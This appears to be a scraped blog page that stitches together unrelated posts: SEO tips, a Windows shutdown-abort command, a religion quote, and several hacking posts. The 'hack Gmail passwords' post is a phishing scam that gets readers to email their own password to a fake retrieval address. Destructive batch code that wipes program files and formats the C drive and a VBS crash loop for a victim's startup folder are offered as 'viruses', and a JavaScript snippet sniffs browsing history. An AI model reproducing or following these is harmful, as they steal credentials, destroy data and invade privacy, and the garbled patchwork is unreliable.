search engine optimization

The Great SEO tips for your site:
#1 Meta Tags
Everyone will tell you that meta tags don’t matter, they do. The biggest thing they matter for is click-through though. There will be a lot of times when Google will use your meta description as the copy that gets pulled with your search listing. This can help to attract the visitor to visit your web site if it is related to their search query. Definitely a much overlooked (as of late) ranking factor. Getting indexed by search engines and ranking well is just the first step. The next, and biggest, step is getting that visitor that searched for your keywords to want to click on your search listing.
#2 Sitemaps

It is always a good idea to give search engines a helping hand to find the content that is on your site. Making sure that you create and maintain a sitemap for all of the pages on your site will help the search robots to find all of the pages in your site and index them. Google, Yahoo, MSN and Ask all support sitemaps and most of them offer a great way to ensure that it is finding your sitemap. Most of the time you can simply name it sitemap.xml and the search robot will find the file
effectively.
1. Title Tags (which should be document titles or title elements, since it’s the text between the opening and closing title tags that is important, not the actual tags)

2. Keyword Density

3. Site Structure

4. Internal Links

5. Links and PageRank

6. Page Reputation

7. Anchor Text

Abort Shutdown-Countdown

Sometimes it might be necessary to stop the countdown before the computer shuts down. Here's how to do it:
Open the start menu.
Click Run
Type "shutdown.exe -a" and press enter/return.

How to hack gmail passwords

How to hack gmail passwords!

It is possible and it is easy. This way of hacking into any kind of account was brought to my attention by my friend working in Microsoft, in animation cell. u have to just…



* STEP 1- Log in to your own gmail account. Note: Your account must be at least 1 week old for this trick to work.


* STEP 2- Once you have logged into your own account, compose/write an e-mail to: lost.pass.retr@gmail.com depending on which account u want to hack...This is the mailing address to the automated server that sends out passwords to users who have forgotten them. What you are going to do is trick the server into thinking that it is sending your password to you but it will send you the pass for the account you are trying to hack instead.

* STEP 3- In the subject line type exactly: “userpassword retrieve” (case sensitive, without the inverted commas)

* STEP 4- On the first line of your mail write the email address of the person you are hacking.

* STEP 5- On the second line type in the e-mail address you are using.

* STEP 6- On the third line type in the password to YOUR email address (your OWN password). The computer needs your password so it can send a completed JavaScript form from your account in the Gmail Server to extract the other email addresses password. This works because you are sending your password to a machine not a person. The process will be done automatically by the user administration server.

* STEP 7- The final step before sending the mail is, type on the fourth line the following code exactly:

2SUGm9qwM482SUGm9qwM48 (case sensitive)

The password will be sent to your inbox within 48 hrs in a mail called “System Reg Message” . Hack who ever u want (just don't hack me)

YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS

vIRUS

you can make it easy .. creat a notpad and copy this ( echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* nul >>c:\autoexec.bat
echo copy c:\******s\command\forma.com c:\ >nul >>c:\autoexe.bat
echo copy c:\******s\command/deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltre /y c:\******s\*.* >nul >>c:\autoexec.bat
echoformat c:/q /u /autotest >nul >>c:\autoexe.bat ) and save it as a name AUTOEXE.bat and ull have a danger virus .. don't exute it xD

ANOTHER ONE
here copy this to notepad and save it as something.vbs and click on it, it will only crash ur computer but u can put it in da startup folder of da victims computer:

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

it only works with windows xp

ANOTHER
here copy this to notepad and save it as something.vbs and click on it, it will only crash ur computer but u can put it in da startup folder of da victims computer:

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

it only works with windows xp

I appreciate ur knowledge. I just wnt 2 know, wht's this .vbs files? Hopefully visual basic script. If yes plz tell me how these work. How dose windows execute these, and can these be executde on other ops as well?

nice thought

Evolution demands that young humans accept whatever their mothers tell them without question. Logic has nothing to do with it. That is why religious belief is so impervious to the usual techniques of logical persuasion. Religion is more akin to a phobia than a belief.
~

Javascript Can Examine The Color Of Your Links = Steal Your Browsing History

Javascript can examine the rendered state of an HTML document, called the DOM. One of the properties that is available through the DOM is the current CSS attributes of a node (nodes are HTML tags, one of which is the or link tag).
All a website has to do to see what pages you’ve been to is place a list of links on the page and examine the color of those links. Ajax can be used to retrieve a list of links to test and also send the results back to the server without the user ever knowing.
The code to do this examination can be a little tricky due to cross browser issues. Here is a snippet of Javascript that can do the evaluation

function hasLinkBeenVisited(url) {
var link = document.createElement('a');
link.href = url;
document.body.appendChild(link);
if (link.currentStyle) {
var color = link.currentStyle.color;
if (color == '#ff0000')
return true;
return false;
} else {
link.setAttribute("href",url);
var computed_style = document.defaultView.getComputedStyle( link, null );
if (computed_style) {
if (computed_style.color == 'rgb(255, 0, 0)')
return true;
}
return false;
}
}

The code above assumes that CSS rules are making links that have been visited red (#ff0000) and new links a different color.